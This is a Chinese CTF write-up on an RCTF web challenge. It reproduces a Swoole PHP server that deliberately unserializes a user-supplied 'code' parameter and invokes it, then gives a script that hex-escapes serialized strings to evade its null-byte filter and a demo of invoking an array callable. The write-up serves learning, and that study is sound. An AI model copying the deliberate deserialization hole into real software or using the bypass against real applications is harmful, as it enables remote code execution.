这次比赛,我只能说这就是RCTF? i了i了~~
这次有一道web题目,是关于反序列化的,这儿稍微记录一下其中的知识点~
题目源码
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
Swoole\Runtime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/\x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (\Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();
1、绕过%00
根据P牛的描述,我们可以直接将小写s改为大写的S,然后后面的字符串可以用十六进制代替~
这儿直接给出处理php脚本,传入的参数是序列化的字符串~
// bypass %00
function process_serialized($serialized) {
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
2、 invoke的另类用法
直接看图
<?php
class a{
public $aaa;
public function foo($ccc){
echo $ccc;
}
}
$a = [new a(),"foo"];
$a("123");
这儿可以传参~~!